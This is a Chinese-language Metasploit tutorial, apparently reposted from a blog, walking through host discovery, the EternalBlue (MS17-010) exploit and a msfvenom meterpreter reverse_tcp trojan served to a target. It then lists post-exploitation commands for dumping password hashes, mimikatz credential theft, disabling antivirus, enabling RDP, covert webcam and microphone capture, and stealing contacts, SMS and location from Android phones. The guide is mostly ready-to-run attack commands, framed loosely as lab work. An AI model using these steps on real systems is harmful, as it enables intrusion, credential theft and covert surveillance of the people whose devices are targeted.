主机发现
主机为win10
基于ARP发现内网存活主机
auxiliary/scanner/discovery/arp_sweep
确认主机是否存活
基于FTP服务
auxiliary/scanner/ftp/ftp_version
基于HTTP服务
auxiliary/scanner/http/http_version
开启服务
再次扫描
基于SMB
auxiliary/scanner/smb/smb_version
漏洞扫描
查看是否有ms17_010漏洞
利用辅助模块,扫描该主机是否有该漏洞
漏洞渗透利用
利用ms17_010
-
加载 永恒之蓝漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue -
输入 options 查看扫描模块需要配置的参数
-
设置
3.1 然后我们配置了rhost (rhost指的是目标主机ip)
set rhost ip
3.2 然后我们配置了 lhost (lhost指的是 监控主机或攻击机 ip)
set lhost ip
3.3 然后我们配置了 lport (指的是监控的端口 )
set lport ip
注意端口必须没有被占用 -
然后我们执行扫描 输入 run 执行永恒之蓝漏洞利用
利用植入木马
- 我们知道目标机器是win系统 所以使用msfvenom 生成一个win平台的木马
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.202.133 LPORT=4446 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe
- 漏洞生成后 通过启动一个py服务将木马上传到目标机器
python -m SimpleHTTPServer 80
在目标主机上下载
- 配置监控程序我们使用了
use exploit/multi/handler
输入 options进入配置
3.1 然后我们配置了 lhost (lhost指的是 监控主机或攻击机 ip)
set lhost ip
3.2然后我们配置了 lport (指的是监控的端口 )
set lport ip
注意端口必须和msfvenom 生成的木马端口一样才行
- 配置攻击载荷 payload
set payload windows/meterpreter/reverse_tcp
执行利用等待目标机器执行木马
- 目标机器执行了木马
利用成功并获得meterpreter
后渗透
meterpreter
Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于远程执行命令!
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要了解下。
meterpreter常用反弹类型
reverse_tcp
这是一个基于TCP的反向链接反弹shell, 使用起来很稳定
获取登录密码
首先获得一个有SYSTEM权限的meterpreter
很多人喜欢给在计算机设置自动登录 我们可以通过抓取自动登录的账户密码
run windows/gather/credentials/windows_autologin
提示这证明本机并没有配置自动登录
还可以通过导出SAM数据库中的本地用户账号(注意需要提权到SYSTEM)
run post/windows/gather/smart_hashdump
用户名 | SID | LM哈希: | NTLM哈希1::: |
---|---|---|---|
zxh | 1000 | aad3b435b51404eeaad3b435b51404ee | 0bc09c52a748936e8c961679004 |
使用 hashdump 获取密码(注意需要提权到SYSTEM才能使用)
终端内输入 run hashdump
使用在线解析工具 : CMD5
NTLM哈希 例子:32ed87bdb5fdc5e9cba88547376818d4
假如此刻无法获取密码
使用load kiwi(使用kiwi模块需要system权限)
kiwi_cmd 模块可以让我们使用mimikatz的全部功能, mimikatz 的命令直接在kiwi_cmd里直接使用
终端输入 load kiwi
creds_all 直接获取密码
使用 kiwi_cmd sekurlsa::logonpasswords 获取密码
ID | kiwi参数和描述 |
---|---|
1 | creds_all:列举所有凭据 |
2 | creds_kerberos:列举所有kerberos凭据 |
3 | creds_msv:列举所有msv凭据 |
4 | creds_ssp:列举所有ssp凭据 |
5 | creds_tspkg:列举所有tspkg凭据 |
6 | creds_wdigest:列举所有wdigest凭据 |
7 | dcsync:通过DCSync检索用户帐户信息 |
8 | dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID |
9 | golden_ticket_create:创建黄金票据 |
10 | kerberos_ticket_list:列举kerberos票据 |
11 | kerberos_ticket_purge:清除kerberos票据 |
12 | kerberos_ticket_use:使用kerberos票据 |
13 | kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 |
14 | lsa_dump_sam:dump出lsa的SAM |
15 | lsa_dump_secrets:dump出lsa的密文 |
16 | password_change:修改密码 |
17 | wifi_list:列出当前用户的wifi配置文件 |
18 | wifi_list_shared:列出共享wifi配置文件/编码 |
远程控制
环境准备
win10
rdesktop
在线安装 rdesktop
Debian,Ubuntu,kali下使用以下命令
apt-get install rdesktop
Centos/RedHat可以通过yum命令
yum -y install rdesktop
实战
使用rdesktop远程控制
说明:rdesktop是linux下支持Windows远程桌面连接的客户端程序,在linux系统下可通过它远程访问Windows桌面,支持多种版本。rdesktop是sourceforge下支持GPL协议的一个开源项目,采用RDP(Remote Desktop Protocol,远程桌面协议),几乎可以连接windows的所有版本
rdesktop常用参数
id | 参数 | 描述 |
---|---|---|
1 | -u | 账户名 |
2 | -p | 密码 |
3 | -a 16 | 指使用16位色显示远程画面 |
4 | -f | 全屏模式(用Ctrl+Alt+Enter 组合键退出全屏) |
5 | -g | 设置分辨率 如 : -g 1024x768 |
6 | rdesktop -h | 查看rdesktop使用帮助 |
rdesktop -u 用户名 -p 密码 -f IP
rdesktop -u zxh -p zxh -f -g 1024x720 192.168.202.139
如果远程计算机没有启动远程功能我们可以在meterpreter中输入
启动远程桌面协议:run post/windows/manage/enable_rdp
2 通过vnc远程
调用摄像头
环境准备
1 MSF-Metasploit Framework
2 一台windiows靶机
3 一台安卓设备,没有可以使用模拟器
实战
靶机获取到meterpreter后我们可以使用 webcam模块实现调用软,硬件摄像头
webcam模块支持命令
id | 模块名 | 解释 |
---|---|---|
1 | webcam_list | 列出靶机中的所有软,硬件摄像头列表,并编号 |
2 | webcam_snap | 可调用单个软,硬件摄像头拍照,默认调用第一个摄像头 |
3 | webcam_stream | 可调用单个软,硬件摄像头直播,默认调用第一个摄像头 |
1 webcam_list
2 webcam_snap 调用单个软,硬件摄像头拍照
id | 参数 | 描述 |
---|---|---|
1 | -h | 显示帮助 |
2 | -i | -i 1 “1”代表调用摄像头编号 |
3 | -p | -p /root "root"设置存储路径 |
4 | -q | -q 100 “100” 表示存储图片的质量默认为 50 |
5 | -v | -v false -v 2个参数 true 和 false 这个参数表示拍照后自动打开,默认参数为true |
webcam_snap -i 1 -p po -q 100
3 webcam_stream 调用单个软,硬件摄像头直播
id | 参数 | 描述 |
---|---|---|
1 | -h | 显示帮助 |
2 | -d | -d 100 “100”=100秒 设置流持续时间为100秒 默认为1800 |
3 | -i | -i 1 “1”代表调用摄像头编号 |
4 | -q | -q 100 “100”指流质量 默认为50 |
5 | -s | -s live “live”指流文件路径 默认输出在当前目录(注意目录不存在不会自动创建) |
7 | -f | -f live “live”指播放文件的存储地址 默认输出在当前目录 |
8 | -v | -v false -v 2个参数 true 和 false 这个参数表示拍照后自动打开,默认参数为true |
meterpreter常用命令
background
返回,把meterpreter后台挂起
sessions
查看当前建立的会话
sessions -i number 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k number 与会话进行交互
bgkill
杀死一个 meterpreter 脚本
bglist
提供所有正在运行的后台脚本的列表
bgrun
作为一个后台线程运行脚本
channel
显示活动频道
close
关闭通道
exit
终止 meterpreter 会话
quit
终止 meterpreter 会话
interact id
切换进一个信道
run
执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的autoroute,hashdump,arp_scanner,multi_meter_inject等
irb
进入 Ruby 脚本模式
read
从通道读取数据write# 将数据写入到一个通道
run和bgrun
前台和后台执行以后它选定的 meterpreter 脚本
use
加载 meterpreter 的扩展
load/use
加载模块
Resource#执行一个已有的rc脚本
针对安卓手机
获取手机通讯录: dump_contacts
获取短信记录:dump_sms
控制实验手机发短信:send_sms -d 15330252525 -t
“hello”
获取实验手机GPS定位信息:geolocate
获取实验手机Wi-Fi定位信息:wlan_geolocate
控制实验手机录音:record_mic
-d 5
获取实验手机相机设备:webcam_list
控制实验手机拍照 :webcam_snap
直播实验手机摄像头:webcam_stream
针对Windows的一些命令
ps
查看进程:
getpid
查看当前进程号:
sysinfo
查看系统信息:
route
查看完整网络设置:
getsystem
自动提权:
getuid
查看当前权限:
pwd
查看当前处于目标机的那个目录:
其他使用
查看目标机是否为虚拟机:run post/windows/gather/checkvm
关闭杀毒软件:run post/windows/manage/killav
启动远程桌面协议:run post/windows/manage/enable_rdp
列举当前登录的用户:run post/windows/gather/enum_logged_on_users
查看当前应用程序:run post/windows/gather/enum_applications
抓取目标机的屏幕截图:load espia ; screengrab
获取相机设备:webcam_list
控制拍照 :webcam_snap
直播摄像头:webcam_stream
控制录音:record_mic
查看当前目录:getlwd
导出当前用户密码哈希 run hashdump
用户名:SID:LM哈希:NTLM哈希:::
也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump
抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin
直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)
shell
进入Windows的终端shell
文件系统命令
文件交互指令
ID | Command | Description |
---|---|---|
1 | cat | 读取文件内容 |
2 | cd | 切换靶机目录 |
3 | cp | 复制文件到目标 |
4 | mv | 移动到目标 |
5 | chmod | 修改文件权限(比如chmod 777 shell.elf) |
6 | del / rm | 删除靶机文件 |
7 | dir | 打印靶机目录 |
8 | mkdir | 在靶机上创建目录 |
9 | rmdir | 删除靶机目录 |
10 | edit | 编辑文件 |
11 | getlwd | 打印本地目录 |
12 | getwd | 打印靶机目录 |
13 | lcd | 更改本地目录 |
14 | lls | 列出本地目录 |
15 | ls | 列出靶机文件目录 |
16 | lpwd | 打印本地目录 |
17 | pwd | 打印工作目录 |
19 | search | 搜索文件 详情search -h |
Linux权限理解
chmod 777 {文件名.后缀}
chmod 777 shell.elf
upload
上传文件到目标机主上,如upload setup.exe C:\windows\system32
download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\boot.ini /root/或者download C:\“ProgramFiles”\Tencent\QQ\Users\295******125\Msg2.0.db /root/
search
search 文件,如search -d c:\ -f*.doc
enumdesktops
用户登录数
ipconfig
查看IP地址
PHP后门反弹连接
PHP后门反弹连接
永恒之蓝CVE-2017-0144
永恒之蓝CVE-2017-0144
震网三代CVE-2017-8464
震网三代CVE-2017-8464文章来源:https://www.toymoban.com/news/detail-441331.html
永恒之黑CVE-2020-0796
永恒之黑CVE-2020-0796文章来源地址https://www.toymoban.com/news/detail-441331.html
到了这里,关于metasploit完整的使用流程包括meterpreter后渗透的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!